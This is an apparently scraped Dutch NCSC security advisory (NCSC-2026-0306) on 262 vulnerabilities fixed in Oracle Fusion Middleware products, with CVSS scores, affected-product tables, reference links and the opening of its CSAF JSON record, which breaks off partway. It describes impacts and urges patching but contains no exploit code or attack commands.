8.2 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows unauthenticated remote attackers to access sensitive data via HTTP, rated with a CVSS 3.1 base score of 7.5.
7.5 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Fusion Middleware Helidon 3.2.20 allows unauthenticated remote attackers to manipulate critical data via HTTP, with a CVSS 3.1 base score of 8.6.
8.6 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
References
263 references
| URL | Category |
|---|---|
| https://www.oracle.com/security-alerts/cspuaug2026.html | external |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
{
"document": {
"category": "csaf_security_advisory",
"csaf_version": "2.0",
"distribution": {
"tlp": {
"label": "WHITE"
}
},
"lang": "nl",
"notes": [
{
"category": "legal_disclaimer",
"text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this page to enhance access to its information and security advisories. The use of this security advisory is subject to the following terms and conditions:\n\n NCSC-NL makes every reasonable effort to ensure that the content of this page is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or continuous keeping up-to-date. The information contained in this security advisory is intended solely for the purpose of providing general information to professional users. No rights can be derived from the information provided therein.\n\n NCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of this security advisory. This includes damage resulting from the inaccuracy of incompleteness of the information contained in the advisory.\n This security advisory is subject to Dutch law. All disputes related to or arising from the use of this advisory will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings."
},
{
"category": "description",
"text": "Oracle heeft 262 kwetsbaarheden verholpen in diverse Oracle producten, waaronder Oracle WebLogic Server, Oracle Identity Manager, Oracle WebCenter Portal, Oracle WebCenter Content, Oracle WebCenter Sites, Oracle WebCenter Enterprise Capture, Oracle Reports Developer, Oracle Fusion Middleware Helidon, Oracle Access Manager, Oracle Unified Directory, Oracle Virtual Directory, Oracle Internet Directory, Oracle Web Services Manager, Oracle SOA Suite B2B Engine, Oracle Managed File Transfer, en Oracle Identity Manager Connector.",
"title": "Feiten"
},
{
"category": "description",
"text": "De kwetsbaarheden betreffen verschillende beveiligingsproblemen in Oracle producten, waaronder mogelijkheden voor ongeauthenticeerde en laaggeprivilegieerde aanvallers om via netwerktoegang (HTTP, HTTPS, HTTP/2, LDAP, T3, IIOP, RMI, CORBA, SOAP, SMTP, UDP) ongeautoriseerde acties uit te voeren. Deze acties omvatten het verkrijgen van volledige systeemcontrole, het uitvoeren van arbitrary code, het cre\u00ebren, wijzigen of verwijderen van kritieke data, het omzeilen van authenticatiecontroles, het verkrijgen van ongeautoriseerde toegang tot gevoelige informatie, en het veroorzaken van Denial-of-Service (DoS) door crashes of resource-uitputting. Sommige kwetsbaarheden vereisen gebruikersinteractie, terwijl andere volledig op afstand en zonder authenticatie kunnen worden misbruikt.\n\nDe CVSS 3.1 basis scores vari\u00ebren van matig tot maximaal (tot 10.0), waarbij meerdere kwetsbaarheden een score van 9.8 of hoger hebben, wat duidt op een hoog potentieel voor impact op vertrouwelijkheid, integriteit en beschikbaarheid van de systemen. 182 van deze kwetsbaarheden kunnen zonder voorafgaande authenticatie op afstand worden misbruikt. De kwetsbaarheden zijn specifiek voor bepaalde versies van de genoemde Oracle producten maar kunnen ook invloed hebben op andere Oracle producten die afhankelijk zijn van deze componenten.\n\nHet NCSC adviseert om deze kwetsbaarheden met voorrang te verhelpen.",
"title": "Interpretaties"
},
{
"category": "description",
"text": "Oracle heeft updates uitgebracht om de kwetsbaarheden in de genoemde producten te verhelpen. Zie bijgevoegde referenties voor meer informatie.",
"title": "Oplossingen"
},
{
"category": "general",
"text": "high",
"title": "Kans"
},
{
"category": "general",
"text": "high",
"title": "Schade"
},
{
"category": "general",
"text": "Improper Authorization",
"title": "CWE-285"
},
{
"category": "general",
"text": "Uncontrolled Resource Consumption",
"title": "CWE-400"
},
{
"category": "general",
"text": "Incorrect Behavior Order: Authorization Before Parsing and Canonicalization",
"title": "CWE-551"
},
{
"category": "general",
"text": "Allocation of Resources Without Limits or Throttling",
"title": "CWE-770"
}
],
"publisher": {
"category": "coordinator",
"contact_details": "cert@ncsc.nl",
"name": "Nationaal Cyber Security Centrum",
"namespace": "https://www.ncsc.nl/"
},
"references": [
{
"category": "external",
"summary": "Reference",
"url": "https://www.oracle.com/security-alerts/cspuaug2026.html"
}
],
"title": "Kwetsbaarheden verholpen in Oracle Fusion Middleware",
"tracking": {
"current_release_date": "2026-08-19T09:38:33.419264Z",
"generator": {
"date": "2025-08-04T16:30:00Z",
"engine": {
"name": "V.A.",
"version": "1.3"
}
},
"id": "NCSC-2026-0306",
"initial_release_date": "2026-08-19T09:38:33.419264Z",
"revision_history": [
{
"date": "2026-08-19T09:38:33.419264Z",
"number": "1.0.0",
"summary": "Initiele versie"
}
],
"status": "final",
"version": "1.0.0"
}
},
"product_tree": {
"branches": [
{
"branches": [
{
"branches": [
{
"category": "product_version_range",
"name": "vers:unknown/*",
"product": {
"name": "vers:unknown/*",
"product_id": "CSAFPID-1"
}
}
],
"category": "product_name",
"name": "Fusion Middleware"
},
{
"branches": [
{
"category": "product_version_range",
"name": "vers:unknown/*",
"product": {
"name": "vers:unknown/*",
"product_id": "CSAFPID-2"
}
}
],
"category": "product_name",
